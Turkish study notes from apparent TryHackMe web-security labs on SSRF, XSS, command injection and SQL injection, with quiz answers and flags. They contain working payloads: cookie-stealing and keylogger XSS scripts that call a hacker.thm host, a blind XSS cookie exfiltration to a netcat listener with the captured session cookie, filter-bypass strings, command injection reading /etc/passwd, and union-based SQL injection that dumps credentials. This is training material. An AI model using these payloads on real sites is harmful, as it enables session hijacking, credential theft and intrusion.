kullanıcı bilgisi gönderiliyor.
"tabi bunların hepsi herhangi bir önlem yoksa gerçekleşmektedir."
- 'bir başka durum ise hackerın API yi tamamen devre dışı bırakması:
- http://website.thm/stock?url=http://api.website.thm/api/stock/item?id=123 sunucuya gitmesi gereken
istek hacker tarafından:
http://website.thm/stock?url=http://hacker-domain.thm/ olarak değiştirilir
ve burada hedeflenen iki sunucu arasında haberleşme için kullanılan API KEY hedeflenir
hacker kendi web sitesini yazarak normalde istek için kullanılan API KEY bu sefer
hacker gönderilerek KEY elde edilmesi amaçlanır.
yani sunucular arası http başlıkları elde dildi.
- 'küçü bir uygulama:
bizden: https://server.website.thm/flag?id=9 bu radaki bayrağı görüntülememizi istiyorum:
bizim değişitirdiğimiz url: https://website.thm/item/2?server=server.website.thm/flag?id=9&x=
suncuya giden istek: https://server.website.thm/flag?id=9&x=.website.thm/api/item?id=2
bize dönen yanıt: Flag ID: 9 Found! THM{SSRF_MASTER}
- 'SSRF Bulmak:
- bu kısmda SSRF açığı nasıl bulunur a değineceğiz:
- SSRF i bulma olanağının yüksek olduğu dört yere bakacağız. Başlayalım:
- ilk olarak url de şöyle bir şey görürsek:
- https://website.thm/form?server=http://server.website.thm/store
bu kısımda : =http://server.website.thm/store
arayabiliriz. burda farlı bir sunucu işaret ediliyorsa SSRF açığı aryabiliriz.
- daha sonra sayfa kaynak kodunda şuna benzer bir gizli değer ile karşılaşırsak:
- örn: <input type="hidden" name="server" value="http://server.website.thm/store">
şu kısımda: value="http://server.website.thm/store"
SSRF açığı araya biliriz.
- yine şöyle bir URL tespit edersek:
- https://website.thm/form?server=api
şu kısımda =api
SSRF araya biliriz.
- yine şöyle bir yapı olursa:
- https://website.thm/form?dst=/form/contact
bu kısmda da =/form/contact
SSRF açığı arayabiliriz.
- blind ssrf çalışması yaparken yaralanabileceğimiz bir site: https://pipedream.com/requestbin
- http isteklerin takip edilmesini sağlayan site.
- 'SSRF kısıtlamalarını aşmak
- uygulama geliştiricisi SSRF güvenlik açığına karşı bazı tedbirler alabirlir örn:
- Deny List:Reddetme listesi
- belli bir kalıpla eşleşen isteklerin reddedilmesini
sağlayabilir ve istismarın önüne geçmeye çalışabilir
- fakat hacker örn: reddetme listesinde 169.254.169.254 de önemli veriler olduğunu düşünelim
hacker, bu ip üzerine bir domain satın alarak ip kullanmadan ip kullanır ve buraya ulaşabirlir.
yani, bu domain çözümlendiğinde bu ip yi işaret edeceğinden ip kullanmadan domain üzerin
referans ile burayı işaret edebilir
- Allow List:İzin listesi
- mesela: https://website.thm ile başlaması gerektiğine dair kural koyabilir.
- hacker ise bir domain alarak ama alt domine çevrilmiş olarak:
https://website.thm.attacker-domain.thm ayarladığında bu kuralı da ezebilir.
'alt domain sınırı yoktur'
- Open Redirect:Açık yönlendirme
- yönlendirilen kaynağın başında sabit bir değer varsa örn: website.thm olarak başlaması gerekiyorsa
hacker yine bir domain alarak alt domaini hedefin istediği şekilde olur ve bu sayede
kısıtlama aşılabilir.
soru:
Katı kuralları aşmak için hangi yöntem kullanılabilir? : Open Redirect
Bulut ortamında hangi IP adresi hassas veriler içerebilir? : 169.254.169.254
Yalnızca belirli girişlere izin vermek için ne tür liste kullanılır? : Allow List
Belirli bir girişi durdurmak için ne tür bir liste kullanılır? : Deny List
12.Study:'Cross-site Scripting(XSS):Siteler Arası Betik/Komut Çalıştırma
- 'Kısa bilgi:
- bu açık eski olmasına rağmaen günümüzde halen yaygın olarak karşılaşılmaktadır.
- ve büyük platformlarıda etkilemektedir.
- bu açık istismar edilerek sisteme javascript kodları enjecte edilebilir.
- 'XSS Payload:
- hedef sistemde çalıştırılmasını istediğimiz javascript kodu dur.
- XSS açığı bulunan sistemlerde özellikle dört amaç doğrultusunda kullanılabilir.
Bunlar;
Proof Of Concept:
- en temel olarak xss in varlığını doğrulamak için kullanılan payloadlardır.:
- <script>alert('XSS');</script> gibi
Session Stealing:
- hedef sistemdeki kullanıcının hesabını ele geçirme düşüncesi ile cookie bilgilerini elde etmek için kullanılan payloadlardır.
- <script>fetch('https://hacker.thm/steal?cookie='+ btoa(document.cookie)); </script>
Key Logger:
- web sayfasından basılan her tuşun saldırgan kontrolündeki bir siteye yönlendirilmesini sağlayan XSS payload kodu dur.
- <script> document.onkeyprss = function( e ) { fetch( 'https://hacker.thm/log?key=' + btoad(e.key) ) ; } </script>
Business Logic:
- mesela bir mail değiştirme işlemi için user.changeEmail()
- bu güvenlik açığı tespit edilirse:
- <script>user.changeEnail('attacker@hacker.thm');</script>
- mail değiştirilebilir
- soru:
Hangi belge özelliği kullanıcının oturum belirtecini içerebilir? : document.cookie
Kavram Kanıtı olarak sıklıkla hangi JavaScript yöntemi kullanılır? : alert
- 'Reflected XSS :
- kullanıcı tarafından girilen bir değerin herhangi bir doğrulama olmadan web sayfasının kaynak koduna dahil edilmesiyle ortaya çıkar.
- bu açık geçiçici (link e tıklandığından gerçekleşen) bir açıktır
- bu açık parametrelerde aranır.
- soru: Yansıyan XSS'yi test etmek için URL'nin neresi iyi bir yerdir? : parameters
- 'Stored XSS :
- bu açık Reflected XSS ten daha tehlikelidir.
- javascript konları veri tabanına kaydedilir ve ilgili sayfaya gelen bütün kullanıcılar bu istismardan etkilenir.
- veri tabanına kaydedilince o sayfaya hangi kullanıcı gelirse gelsin o sayfada java script kodu çalışacaktır.
- özellikle:
- web site yorum satırlarında
- ve profil düzenleme kısımlarında karşılaşılan bir XSS türüdür.
- soru: Depolanan XSS verileri genellikle bir web sitesinde nasıl depolanır? : database
- 'Document Object Model Based XSS (DOM Based XSS):
- belge nesne modeli anlamına gelir
- html ve xml dosyalarını için programlama arabirimidir
- yani web sayfası üzerinden ilgili sayfanın içeriğin, yapısını değiştiren bir özellik
- bu değişiklik gerekli kontrole tabi tutulmassa yani bir javascrip enjecte edilebilir pozisyonda olursa
ve bununla ilgili kısıtlamalar olmassa sisteme enjecte edilecek javascript kodlar ile işleyiş değiştirilebilir
- genelde bu açık, web sayfasına gelenleri farklı bir sayfaya yönlendirmede kullanılır
- burada bu açığın tespit edilmesinde dikkat edilmesi gereken şey:
- eval() benzeri metodlar dır. (veya window.location.x)
- çünkü:
- bu özellik gelen işlemi bir komut olarak algılayığ işleme sokuyor.
- ve buna gelen şey bir kısıtlamadan geçmezse
dışarıdan bir kişinin sistemi etkileyecek komutları girmesine izin verilir şekilde kısıtlama olmazsa veya bunlar temizlemezse
o zaman tehlikeli bir durum olark 'DOM Based XSS' açığı ortaya çıkıyor.
- soru: Kaynak kodunda hangi güvenli olmayan JavaScript yöntemini aramak iyidir? : eval()
- 'Blind XSS:
- bu XSS türünü, o an için çalışıp çalışmadığını görmediğimiz bir türüdür.
- örnek ile :
- bir mesaj iletim formu var.
- gönderilen içerik muhattabına doğrudan mesaj olarak gidiyor.
- bu mesaj bölümünde tespit edilen güvenlik açığı Blind XSS güvenlik açığı türü olmuş olur.
- yani: mesaj gönderiliyor ve mesaj içeriğinde javascript kodu var ve bu mesaj karşı tarafa ulaşıp oradan incelenmesi için
veri tabanına kaydediliyor.
yani hem veritabanına kaydedilen hemde muhattabını ilgilendiren bir mesaj yollanıyor.
javascritp kodu da beraberinde gittiğinden doğrudan hedef veritabanına kaydedilmiş javascript kodu oluyor.
ve sadec hedef kişyi etkilemiş oluyor.
bu sadece onun mesaj bölümünde çıkıyor.
- soru:
Kör XSS yi test etmek için hangi aracı kullanabilirsiniz? : XSS Hunter Express.
Kör XSS ye çok benzeyen XSS türü nedir? : Stored XSS
- 'Perfecting your payload : XSS Payload Mükemmelleştirme Uygulamaları
- ilk olarak en temelde Proof Of Concept yöntemile : <script>alert('THM');</script>
- XSS Payload Successful
- bir sonrakinde : sayfa kaynağının görüntülediğimizde bir input girişi var.
bunu kapatmamız gerek: "><script>alert('THM');</script> ek olark "> bunu ekledik
- bir sonrakinde : yine syafa kaynağını görüntüledik ve <textarea> ifadesi arasıda metin olarak alıyor girdiyi.
bizde bunu </textarea><script>alert('THM');</script><textarea> yaparak metin
bölmesinin kapatıp kendi scriptimizi yerleştirdik.
- bir sonrakinde : bu seferde document olarak almış scritp içerisinde ama biz şöyle yaparak onu kapatır ve
kendi scriptimizi çalıştırabiliriz: </script><script>alert('THM');</script>
veya şöyle de yapılabilirdi: ';alert('THM');//
zaten scritp içerisinde olduğundan biz sol tarfı kapatıp sağtarafında yorum satırı olarak ayarladığımızda
sonra gelenler çalışmayacak
- bir sonrakinde : burada script leri filtreleme var. biz de:
<sc<script>ript>alet('THM');</sc</script>ript> sadece script kelimesini filtreledi o halde:
<scscriptript>alert('THM');</scscriptript> ve başardık.
- bir sonrakinde : burada ise daha iyi bir filtreleme var ancak : " onload="alert('THM'); kullnıcı girişimize
bu gir eklendiğinde sonuç değişir.
THM{XSS_MASTER}
- 'Polyglots: Bir XSS poliglotu, niteliklerden, etiketlerden kaçabilen ve filtreleri bir arada atlayabilen bir metin dizisidir.
- jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e
açıklama:
jaVasCript:: Bu, tarayıcıya JavaScript kodunu çalıştırmasını söyleyen bir URL şemasıdır.
Genellikle bir XSS saldırısında kullanılır.
/*-/*: Bu, yorum blokları (comments) ile karmaşık hale getirilmiş bir JavaScript kodudur.
Saldırganlar bu teknikleri, güvenlik filtrelerinden kaçmak için kullanır.
onerror=alert('THM'): Bu, eğer bir hata oluşursa, JavaScript'in alert fonksiyonunu çalıştıracak bir olay işleyicisidir.
Bu örnekte, "THM" kelimesini bir uyarı kutusu olarak gösterecek.
%0D%0A%0d%0a: Bu, kodun farklı satırlara geçmesini sağlamak için kullanılan URL kodlamasıdır.
Bu karakterler satır sonlarını temsil eder (%0D ve %0A, sırasıyla carriage return ve line feed karakterleridir).
</stYle/</titLe/</teXtarEa/</scRipt/--!>: Bu, kodun sonuna yorumlar ekleyerek, o
lası diğer kodlardan kaçmayı amaçlar. Bu tür karakterler, HTML ögelerinden kaçış için kullanılır.
\x3c ve \x3e: Bu, < ve > sembollerinin hexadecimal (onaltılık) karşılıklarıdır.
SVG elementi içinde kullanılmak üzere hazırlanmış.
<sVg/onLoad=alert('THM')//>: Bu, bir SVG elementi içinde çalıştırılan başka bir JavaScript kodudur.
SVG dosyası yüklendiğinde, yine bir uyarı kutusu açılır.
- 'Practical Example (Blind XSS): Pratik Kör XSS
- burada önce bize verilen likle gidiyoruz tabi makineyi başlatarak daha sonra
kullanıcı oluşturup mesaj kutusuna bir dene yaparak oluşan ticket agidip
kaynağı görüntülüyoruz ve evet bura bir xss açığı var.
şimdi makinemizde netcat aracı kullanılark belitrilen portta dinleme yapacağız.
nc -nlvp <port_number>
n: DNS çözümlemesini devre dışı bırakır. IP adreslerinin alan adlarına çözülmesini istemediğinizde kullanılır.
Bu, bağlantıyı hızlandırabilir ve gereksiz DNS isteklerini engelleyebilir.
l: "Listen" (dinle) moduna geçer. Netcat'i belirtilen bir portta dinleme moduna sokar, yani gelen bağlantıları kabul eder.
Bu, Netcat'i basit bir sunucu olarak kullanmanızı sağlar.
v: "Verbose" (ayrıntılı) modu etkinleştirir. Bu, bağlantılar, gönderilen ve alınan veriler gibi daha ayrıntılı
bilgilerin ekrana yazdırılmasını sağlar. Sorun giderme veya bağlantının durumunu izlemek için faydalıdır.
p [port]: Dinlenecek port numarasını belirtir. Netcat'in dinleyeceği portu belirler. Örneğin, -p 1234 derseniz,
Netcat 1234 numaralı portta dinlemeye başlar.
yeni bir ticket oluşturup mesaj kısmına:
</textarea><script>fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie) );</script><textarea>
bu kısıma: URL_OR_IP:PORT_NUMBER = 10.10.26.52:9001 gibi olacak
yani ip kısmına openvpn ile bağlandığınız ip yi yazmanız yeterli ifconfig ile öğrenebilirsiniz
açıklama:
</textarea> etiketi metin alanı alanını kapatır.
<script> etiketi bize JavaScript yazmamız için bir alan açar.
fetch() komutu bir HTTP isteğinde bulunur.
URL_OR_IP, THM istek yakalayıcı URL'si, THM AttackBox'taki IP adresiniz veya THM VPN Ağındaki IP adresinizdir.
PORT_NUMBER, AttackBox'taki bağlantıları dinlemek için kullandığınız bağlantı noktası numarasıdır.
?cookie= kurbanın çerezlerini içeren sorgu dizesidir.
btoa() komutu base64 kurbanın çerezlerini kodlar.
document.cookie, Acme BT Destek Web Sitesi için kurbanın çerezlerine erişir.
</script>JavaScript kod bloğunu kapatır.
ve yakaladığımız:
nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.9.4.50] from (UNKNOWN) [10.10.26.52] 42182
GET /?cookie=c3RhZmYtc2Vzc2lvbj00QUIzMDVFNTU5NTUxOTc2OTNGMDFENkY4RkQyRDMyMQ== HTTP/1.1
Host: 10.9.4.50:9001
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/89.0.4389.72 Safari/537.36
Accept: */*
Origin: http://172.17.0.1
Referer: http://172.17.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
burada base64 kodlu bir başlık bilgisi var: c3RhZmYtc2Vzc2lvbj00QUIzMDVFNTU5NTUxOTc2OTNGMDFENkY4RkQyRDMyMQ==
çözümleyeli: staff-session=4AB305E55955197693F01D6F8FD2D321s
personel oturum çerezi: 4AB305E55955197693F01D6F8FD2D321s
13.Study:'Command Injection: Komut Enjeksiyonu
- 'Komut enjeksiyonu nedir:
- web uygulması üzerinden işletim sistemi komutlarının çalıştırılmasını sağlayan bir güvenlik açığıdır.
- web uygulamasının bulunduğu işletim sistemi yani o sunucu windows bir sunucu ise cmd komutları web üzerinden çalıştırılabilir.
- eğer sistem linux/unix ise terminal komutları çalıştırılabilir.
- 'Discovering Command Injection : Komut Enjeksiyonunu Keşfetmek
- bu güvenlik açığı genellikle makinanın işletim sistemine veri iletmek ve sistem çağrıları yapmak için php, python none.js gibi
programlama dillerindeki işlevleri kullanması nedeni ile ortaya çıkar.
- örn:
bir dosya veya dizinde içerik aramak istendiğinde yeterli
filtreleme ve güvenlik tedbiri alınmadığı zaman bu güvenlik açığı
ortaya çıkabilir.
- <?php
$songs = "/var/www/html/songs" //1. kısım
if (isset $_GET["title"])) {
$title = $_GET["title"]; //2. kısım
$command = "grep $title /var/www/html/songtitle.txt"; //3. kısım
$search = exec($command); //4. kısım
if($search == ""){
$return = "<p>The requested song</p><p> $title does </p><b>not</b><p> exist !</p>";
} else {
$return = "<p>The requested song</p><p> $title does <p><b>exist !</b></p>";
}
echo $return; //4. kısım buraya kadar.
}
?>
- bu bir php dosyası, kısımları inceleyelim:
- Kısımlar:
1.kısımda: müziler klasörünü görüyoruz
2.kısımda: kullanıcıdan GET methodu ile bir başlık isteniyor
3.kısımda: aynı html dizini içerisinde bir müzik başlıkları .txt dosya görüyoruz
kullanıcıdan alınan başlık, .txt dosyasında grep aracı ile aranıyor.
4.kısımda: ifade var/yok a göre bir çıktı alıyoruz.
- şimdi:
- eğer kullanıcıdan alınan başlıkta bir filtreleme yapılmazsa yada herhangi bir tedbir alımazsa
hacker bu kısımı manipüle ederek farklı dosya içeriklerini görüntülemeye çalışabilir.
- örnek bir çalışma yapalım kalide:
- önce Destop kısmmına geleli ve liste.txt adında bir dosya oluşturum içeriğine bir kaç birşey yazalım (anlamlı olmak zorunda değil)
- grep ile kullanıcıdan gelen değerin liste.txt içerisinde aranacak: örn: grep 1 liste.txt
- ama burada herhangi bir güvenlik önlemi alınmazsa hacker şöyle bir şey yapabilir: grep 1 | cat /etc/passwd liste.txt
ekleyerek kullanıcı dosyasını görüntüleyebilir.
- 'Exploiting Command Injection : Komut Enjeksiyonundan Yararlanmak
- iki türlü bu açıktan yaralanılabilir. Bunlar: {CI:Command Injection:Komut Enjeksiyonu}
- 'Blind CI:
- doğrudan web sayfasında görüntülemez. Yani:
herhangi bir çıktı vermez
anlaşılması biraz daha zordur
- 'Verbose CI:
- detaylı çıktı verir.
whoami: mevcut kullanıcın kim oldoğunu söyler.
- 'Blind CI: tespiti:
- ping, sleep araçları kullanılabilir.
- ping aracı ile 10sn. boyunca bir istek atılabilir.
- Hem Linux hem de Windows için bazı değerli paylad lar:
- whoami: aktif kullanıcı ismi
- ls / dir: linux dizin listeleme / windows dizin listeleme
- ping : domain_name veya ip ye istek atarak ağda canlı olup olmadığı öğrenilir.
- sleep / timeout: sleep, ping aracının yüklü olmadığı (linux) durumlarda ping e alternatiftir./
timeout, ping aracının yüklü olmadığı (windows) durumlarda ping e alternatiftir
- nc: bu araç hem ters bağlantı almak için hem dosya transferlerinde hem yetki yükseltme işlmelerinde kullanılan bir araç
windwos sürümü de mevcuttur.
- 'Remediating Command Injection : Komut Ekleme Tedbirleri ve Atlatılması:
- kullanıcının veri girişi yaptığı yerde örneğin şöyle bir önlem alınarak:
(not: örnek PHP dilinde gösteriliyor. Ama diğer dillere de genişletilebilir.)
<input type="text" id="ping" name="ping" pattern="[0-9]"></input>
<?php
echo passthru("/bin/ping -c 4 "$_GET["ping"].');
?>
burada giriş için sadece rakam değeri alınır 0-9 aralığı haricinde birşey girilirse reddedilir.
- 'Input sanitisation:
- bu kısımda da php fonksiyonu kullanılarak sadece sayısal değerin girilebileceği belirtilebilir.
<?php
if(!filter_input(INPUT_GET,"number",FILTER_VALIDATE_NUMBER)){}
?>
bunların yanında özel karakterlerin de silindmesi daha temiz bir giriş yapılması için gereklidir.
(KULLANICIDAN VERİ ALINACAKSA BU VERİ HER ZAMAN:
- TEMİZLENMELİ
- AYIKLANMALI
- FİLTRELENMELİ
- VE GİREBELECEĞİNİN DIŞIN BİR VERİ ASLA GİREMEMELİ!!!!!
BU OLDUKÇA ÇOK ÖNEMLİ!!)
- 'Bypassing Filters:
- HEXDECİMAL/BINARRY/OCTAL GİBİ DEĞERLER DE YORUMLANA BİLDİĞİNDEN
DİĞER İŞLEMLERE EK OLARAK BURADA DA ÖZERL DEĞER VE KARATERLERİN BU TİPTEKİ
DÖNÜŞÜM DEĞERLERİ DE FİLTRELEMEYE DAHİL EDİLMELİ!
- örn:
$payload = "\x2f\x65\x74\x63\x2f\x70\x61\x73\x77\x64"
- aşağıda örnek filtreleme bırakıyorum.
<?php
$hex = "\x68\x65\x78"; // "hex" kelimesi, hexadecimal formatta
$binary = chr(bindec('01100010')) . chr(bindec('01101001')) . chr(bindec('01101110')); // "bin" kelimesi, binary formatta
$octal = "\150\145\170"; // "hex" kelimesi, octal formatta (örnek olarak hex yeniden kullanıldı)
echo $hex . $binary . $octal; // "hexbinhex" çıktısını verir
?>
- soru: Bir uygulamaya sağlanan kullanıcı girişinin "temizlenmesi" işlemine ne ad verilir? : sanitisation
- hadi bir uygulama yapalım:
- bize /home/tryhackme/flag.txt daki bayrak ile aktif kullanıcıyı soruyor.
hatırlayacak olursanız | ile ek bir komut daha girmeye devam edebiliyorduk hadi deneyelim:
bizden istediği veriye ek olarak bizim istediğimiz veriyigetirecek komutu gireceğiz:
127.0.0.1 | whoami : www-data
127.0.0.1.| cat /home/tryhackme/flag.txt : THM{COMMAND_INJECTION_COMPLETE}
kaynak bırakıyorum buraya Command Enjection ile ilgili: 'https://github.com/hackInForeach/command-injection-payload-list'
ÖDEV: BROWSER A 'Command Injection' YAZ VE ÇIKAN 5 FARKLI SİTEDEN İÇERİKLERİ İNCELE VE ALIŞTIRMALAR YAP!
BURAYA KADAR ÖĞRENDİKLERİNE EK OLARAK EKLEYECEKLERİN İLE BERABER KONUNUN UNUTULMASI ZORLAŞTIRIN!
NOT: BU UNUTULMAMALIDIR Kİ, İNTREPOLASYON ÖNEMİ ÇOK İYİ KAVRANMALIDIR:
İNTERPOLASYON: BİLİNEN DEĞERLERDEN BİLİNMEYENİ TAHMİN ETME YÖNTEMİDİR!
14.Study:'SQL Injection
- 'kısa bilgi:
- yani: Yapılandırımış Sorgu Dili Enjecsiyonu, kötü amaçlı sorguların yürütülmesine neden olan bir web uygulaması veritabanına yapılan
bir saldırıdır.
- bir web uygulaması, kullanıcıdan gelen girdiyi kontrol etmeden işleme alınmasına izin verirse saldırgan kişi bu yolla ilgili web sitesine
ait özel ve müşteri verilerine ulaşabilir, bunları çalabilir, silebilir veya değiştirebilir.
- SQL Injection, eski bir güvenlik açığı olamsını yanında en zarar verici güvenlik açıklarından da biridir.
- 'Veritabanı nedir:
- veritabanı, veri kolleksiyonlarını organize bir şekilde elektronik olarak depolamanın bir yoludur.
- DBMS (Data Base Management System) tarafından kontrol edilir.
- Bir DBMS nin içerisinde birden fazla veritabanı olabilir.
- Veritabanları:
- ilişkisel veritabanı
- ilişikisel olmayan veritabanları olmak üzere ikiye ayrılır.
- Veritabanı:
- tablolardan oluşur.
- tablolar:
- satır (kayıt)(rows) ve sütunlardan (kolon)(columns) oluşur.
- ilişkisel olmayan veritabanları: NoSql olarak adlandırılır.
- ilişkisel veritablarındaki gibi veri depolamak için tablo,satır,sutün kullanılmaz.
- bu veritabanları esnek ve dinamik veri modelleri sunar
- bu sayede büyük miktardaki veriyi yatay olarak ölçeklendirebilir.
- farlı türlerde veri depolama yapıları sunar örn:
- anahtar-değer: veriler anahtar-değer çiftleri olarak saklanır
- belge yönetimli: JSON veya XML gibi belge yapılarında saklanır
- sütunlu: verileri sütunlar halide depolar, buda hızlı veri erişimi sağlar
- graf: ilişkisel verileri graf yapılarında saklar:
- graf veri tabanları: verileri düğümler(noktalar) ve bu düğümler arasındaki ilişkileri temsil eden
kenarlar ile saklar. Bu yapı özellikle karmaşık ilişkilerin ve bağlantıların olduğu
durumlar için idealdir. örn: sosyal ağlar, öneri sistemleri ve rota bulma algoritmaları gibi.
- sorular:
Veritabanını kontrol eden yazılımın kısaltması nedir? : DBMS
Verileri tutan ızgara benzeri yapının adı nedir? : Table
- 'SQL (Structured Query Language(Yapılandırılmış Sorgu Dili)) komutları:
- select: sorgu gönderimi için kullanılan ifadedir. Veritabanından bilgi getirmek için kullanılan ifade.
- select * from users; => *: tümü, from <tablo_adı> => burada users tablosu için tüm sonuçları getir.
- select username,password from users; => users tablosundaki kullanıcı adlarıyla beraber parolalarını da getir.
- buna bir sınırlama getirilebilir:
- select * from users LIMIT 1; => users tablosunda 1 kayıt getir.
- select * from users LIMIT 2,1; => burada ilk 1 ve 2. satırı atla ve ilk 1. satırı getir.
- select * from users LIMIT 100,10; => ilk 100 satır atla 101-110 arasını getir
- burada where ifadesi ile koşul oluşturabilir:
- select * from users where username='admin'; => users tablosunda username i admin olanları satırların tüm sütunlarını getir.
- select * from users where username <> 'admin'; => burada username i admin olamayanları getir
- bu da aynı: selecr * from users where username != 'admin';
- select * from users where username='admin' or username='joe'; burad kullanıcı adı admin veya joe olanları tabladan getir.
- select * from users where username='admin' and password='p4ssword';burada kullanıcı adı ile password bilgisi uyuşan kaydı listeliyoruz
- select * from users where username like 'a%'; burada kullanıcı adının ilk harfi a olanları listeliyoruz
- select * from users where username like '%n'; burada kullanıcı adının son harfi n olanları listeliyoruz
- select * from users where username like '%mi%'; burada kullanıcı adının içerisinde min olanları listeliyoruz
- union: birleştirme ifadesi. Birden fazla tabloyu birleştirmek için kullanılan ifade.
- select name,address,city,postcode from customers union select company,address,city,postcode from suppliers;
- burada: customers ve suppliers tablolarının seçilen kolon/sütünlarını tek bir tablo çıksısında gösterir
- insert: tabloya veri eklemek için kullanılan ifade
- insert into users (username,password) values ('bob','password123');
- burada: users tablosuna usename i bob,password ü password123 olan yeni bir kayıt ekler
- update: tabloda var olan bir/birden fazla verinin güncellenmesini sağlayan ifade
- update users set username='root', password='pass123' where username='admin';
- burada: username i admin olan kayıdın username ini root, password ünü pass123 olarak günceller
- delete: tablodaki tablo içeriğini veya belirtilen bir ifadeyi silmel için kullanılan ifade.
- delete from users where username='martin';
- burada: users tablosundaki usernema i martin olan kayıdı sil
- delete from users;
- burada tablodaki tüm kayıtları sil
- 'SQL Enjeksiyonu Nedir?:
- sql kullanan bir web uygulamasının, kullanıcıların girmiş olduğu verilerin sql sorgusuna dahil edilmesidir.
- bir web sitesine girdik ve bir içerik görüntüledik: https://website.thm/blog?id=1
- bu url e benzer bir url ile karşılaşabilir. '?id=1' bu id si 1 değerine sahip olan içeriği temsil eder.
- bunun backend planda muhtemelen şöyle bir sorgusu vardır: SELECT * from blog where id=1 and private=0 LIMIT 1;
- bu ifade şöyle bir ifade ile değiştirilebilir: https://website.thm/blog?id=2;--
- burada id değerinin 2 olduğu içerik gösterilir ancak herhangi bir kısıt varsa bu ;-- ifadesi ile sorgunun burdan sonraki kısımı dahil edilmez.
- ve arka planda bu: SELECT * from blog where id=2;-- and private=0 LIMIT 1; şöyle bir ifade ortya koyar
- ve ardın şuna döner: SELECT * from blog where id=2;--
- Tabi yeterli önlem alınmazsa!!
- ; sql sorgu sonu demek, -- yorum satırı demek
- 'In-Band SQLi:Band İçi SQLi:
- In-Band SQL injection da istismarın yapıldığı ve sonuçların toplandığı/gösterildiği alan aynıdır.
- yani bir web sayfasında In-Band Sql inkection tespit edilirse, veritabanından bilgi getirme işlemi
o web sayfasında görüntülenecektir.
- bu injection ı iki başlık altında ele alıyoruz:
- 'Error-Based SQL Injection : (Hata Tabanlı SQL Enjeksiyonu)
- veritabanından gelen hata mesajları doğrudan browser da yayımlanır.
- bu sayede veri tabanı yapısı hakkında bilgi elde edilebilir.
- 'Union-Based SQL Injection : (Birlik Tabanlı SQL Enjeksiyonu)
- güvenlik açığında 'select' ifadesinin yanında 'union' operatörü kullanılır.
- ve tablolar birleştirilerek sonuçların web sayfasından görüntülenmesi sağlanır.
- hadi şimi biraz pratik yapalım: (Error-Based SQL Injection)
- burada bizden martin adınki bir kişini parolasını bulmaızı istiyor. ve görünen link:
- https://website.thm/article?id=1
- biz burada önce denem yaparak burada girilen değerlerin sorguya dahil edilip edilmediğini göreceğiz:
- bunun içinde https://website.thm/article?id=1" veya https://website.thm/article?id=1'
- ve bize hata fırlattı buda demek oluyor ki sorguya dahil ediliyor.
- şimdide tabloda kaç kolon barındırdığına bakmamız gerek bunu içinde:
- https://website.thm/article?id=5 union select 1,2,3,4 diyerek bize normal girilen değerlerin ekrana yazılmasını sağlamalyız ki bulalım
- burada 3 kolon var
- şimdi bu veritabanı adını bulmak için database() sql fonsiyonunu çalışalım
- https://website.thm/article?id=5 union select 1,2,database()
- database_name = sqli_one
- şimdi bu kısımda yansıtma işlemini yapmaya çalışacağız.
- bir sonraki adım veritabanı adı alındı şimdi bunun içerisinde tablo adlarını bilmemiz gerek
- https://website.thm/article?id=5 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'sqli_one'
- açıklama:
şimdi: union select 1,2,3 burada 1,2,3 bunlar yer tutucudur
group_concat(table_name) : hem tablo tespiti hemde içerisindeki kolon isimlerini tespit ederkende bu kullanılacak
information_schema.tables : veritabanı içerisinde tüm kullanıcıların ulaşabildiği bir 'information_scheme' adında bir
veri tabanı var. bu schema normalde site içeriğinin bilgisini barındırmıyor ama sitedeki
veritabanlarının bilgisini barındırıyor. bizde veritabanına ait olan bilgileri, kolon isimlerini
bu schema dan öğreniyoruz. yani '.tables' belirterek tablo ismi çekmeye çalışıyoruz.
table_schema = 'sqli_one' : burada da buldupumuz veritabanının tablolarını çekmeye çalışıyoruz
- bulduğuz tablo isimler: article,staff_users
- şimdi kolon isimlerini öğrenmek için:
- https://website.thm/article?id=5 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'staff_users'
- id,password,username
- https://website.thm/article?id=5 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'article'
- content,id,subject
- bulunan tabloların kolon isimleride artık elimizde
- şimdi bunları görüntülemek için:
- https://website.thm/article?id=5 union select 1,2,group_concat(id,':',username,':',password) from staff_users
- ve:
1:admin:p4ssword,2:martin:pa$$word,3:jim:work123
- veya separator '<br>' ekleyerek çıktının satırlar halinde olmaısına zorlanabilir ve daha okunaklı olur:
https://website.thm/article?id=5 union select 1,2,group_concat(id,':',username,':',password separator '<br>') from staff_users
1:admin:p4ssword
2:martin:pa$$word
3:jim:work123
bize sorulan soruda martin şifresini databaseden al denmişti bu de: pa$$word
- 'Blind SQLi - Authentication Bypass : Blind SQLi - Kimlik Doğrulamayı Atlatma
- bu kısımda da bir kullanıcı girişini aşmaya uğraşacağız
- buradaki amaç veritabanından bilgi çekmek değil üye girişi doğrulama kısmını atlatmak ve üye girişi yapmış olamak.
- üye panellerinde kullanıcı adı ve parolanın eşleşmesini bekleyen bir sorgu vardır.
- bu sorgu mantıkasl olarak aşılırsa o zaman üye gişi yapılmış olur
- sistem bizim girdiğimiz veriyi doğrudan sorguya dahil ediyorsa o zaman
- username : ' OR 1 = 1;--
-bu girdi yapıldığında sorgu şuna dönüşür:
select * from users where username='' OR 1 = 1;--' and password='' LIMIT 1;
yani or ifade is ile en az 1 koşulun doğru olması bizi içeri sokmaya yeter.
zatenn görüldüğü üzere daha sonra ki gelen sorgu kısımı yoruma çevrilerek işlevsiz hale getirildi.
- ve içerdeyiz!
THM{SQL_INJECTION_9581}
- not: bu atlatma işleminde normalde sql kodlarına erişmimiz yok
fakat hazır payloadlarda internet sql-injectin-payload-list
olarak arattığınızda denene bilecek birçok sql atlamtma kodunu
görebilirisniz.
- 'Blind SQLi - Boolean Based : Kör SQLi - Doğru/Yanlış Tabanlı
- daha öncede gördüğümüz Error-Based SQL Injection gibi tüm sonuçları tek seferde vermiyor
- bunun için adım adım, harf harf doğrulayarak elde etmemiz gerekiyor.
- çünkü yapılan sorgulamada sonuç:
- doğru yada yanlış,
- evet yada hayır,
- var yada yok şeklinde oluyor.
